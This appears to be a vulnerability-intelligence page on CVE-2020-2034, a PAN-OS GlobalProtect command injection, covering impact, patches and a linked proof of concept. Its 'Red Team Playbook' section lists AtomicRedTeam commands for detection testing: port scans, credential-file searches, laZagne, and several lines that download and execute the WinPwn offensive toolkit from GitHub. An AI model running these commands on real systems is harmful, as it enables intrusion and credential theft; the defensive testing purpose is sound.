CVE-2020-2034
Overview
This vulnerability is an OS command injection flaw rooted in improper input validation within the GlobalProtect portal component of PAN-OS. The issue arises because user-supplied data is passed unsanitized to underlying operating system commands, allowing execution of arbitrary commands with root privileges. The flaw specifically affects the GlobalProtect portal feature when enabled, across multiple PAN-OS versions prior to specific patched releases.
Vulnerability Description
An OS Command Injection vulnerability in the PAN-OS GlobalProtect portal allows an unauthenticated network based attacker to execute arbitrary OS commands with root privileges. An attacker requires some knowledge of the firewall to exploit this issue. This issue can not be exploited if GlobalProtect portal feature is not enabled. This issue impacts PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; all versions of PAN-OS 8.0 and PAN-OS 7.1. Prisma Access services are not impacted by this vulnerability.
Impact
An unauthenticated attacker with network access to the GlobalProtect portal can execute arbitrary OS commands with root privileges, potentially leading to full system compromise, data exfiltration, or disruption of firewall operations. Exploitation requires knowledge of the firewall and the GlobalProtect portal being enabled. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates remote network attack with high attack complexity but no privileges or user interaction needed.
Solution
Palo Alto Networks has released patched versions addressing this vulnerability: PAN-OS 9.1.3, 8.1.15, and 9.0.9 or later. Users should upgrade affected PAN-OS installations to these versions or later. Detailed patch instructions and advisory information are available at Palo Alto Networks' official security advisory portal: https://security.paloaltonetworks.com/CVE-2020-2034.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the PAN-OS GlobalProtect portal is characterized as an OS Command Injection flaw, which allows an unauthenticated network-based attacker to execute arbitrary operating system commands with root privileges. This critical weakness arises from improper input validation within the GlobalProtect portal, enabling attackers to manipulate command execution processes. The severity of this vulnerability is underscored by its CVSS score of 8.1, indicating a high risk level that necessitates immediate attention from organizations utilizing affected versions of PAN-OS. Specifically, versions prior to 9.1.3, 8.1.15, and 9.0.9, as well as all versions of 8.0 and 7.1, are susceptible to exploitation, provided that the GlobalProtect portal feature is enabled.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with knowledge of the firewall's configuration can craft specially designed requests to the GlobalProtect portal, effectively injecting malicious commands. Once executed, these commands can lead to unauthorized access, data exfiltration, or even complete system compromise. Scenarios may include leveraging the vulnerability to install backdoors, manipulate firewall rules, or escalate privileges to gain control over the network infrastructure. The requirement for an attacker to possess some understanding of the firewall's workings does not significantly mitigate the risk, as many attackers may have access to this information through public documentation or community forums.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on PAN-OS for their security infrastructure. Successful exploitation could lead to significant business risks, including data breaches, loss of sensitive information, reputational damage, and potential regulatory penalties. The ability to execute commands with root privileges can enable attackers to manipulate critical security configurations, undermining the integrity of the entire network. Moreover, the financial implications of remediation efforts, legal liabilities, and loss of customer trust can be substantial, making it imperative for organizations to prioritize addressing this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating PAN-OS to the latest versions is crucial, as patches have been released to address this issue. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential vulnerabilities within their configurations. Monitoring network traffic for unusual patterns or unauthorized access attempts can also aid in early detection of exploitation attempts. Furthermore, disabling the GlobalProtect portal feature if it is not in use can significantly reduce exposure to this vulnerability.
In conclusion, the OS Command Injection vulnerability in the PAN-OS GlobalProtect portal represents a serious threat to network security. Its potential for exploitation by unauthenticated attackers, coupled with the severe consequences of successful attacks, necessitates prompt action from affected organizations. By prioritizing updates, conducting regular security assessments, and implementing robust monitoring strategies, organizations can effectively mitigate the risks posed by this vulnerability and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-2034, indicating renewed or increased exploitation attempts targeting the PAN-OS GlobalProtect portal. While the overall exploit pressure remains stable according to EPSS metrics, the emergence of new proof-of-concept tooling available publicly has likely contributed to this uptick in reconnaissance and attack attempts. This development is significant because it suggests that threat actors, potentially including opportunistic cybercriminal groups, are actively leveraging these resources to probe vulnerable environments, increasing the likelihood of successful compromise. For defenders, this means that previously dormant or low-activity exploitation vectors are now more active, raising the urgency for continuous monitoring and rapid incident response capabilities. Consequently, the risk level associated with this vulnerability should be considered elevated from moderate to high within operational environments where the GlobalProtect portal is enabled and unpatched, as the window for exploitation has effectively widened.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
blackhatethicalhacking/CVE-2020-2034-POC
Determine the Version Running on the Palo Alto Network Firewall for the Global Protect Portal
|
blackhatethicalhacking | 12 | 5 | 2020-08-08 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-2034 |
| security.paloaltonetworks.com |
GitHub CVE
x_refsource_MISC
|
https://security.paloaltonetworks.com/CVE-2020-2034 |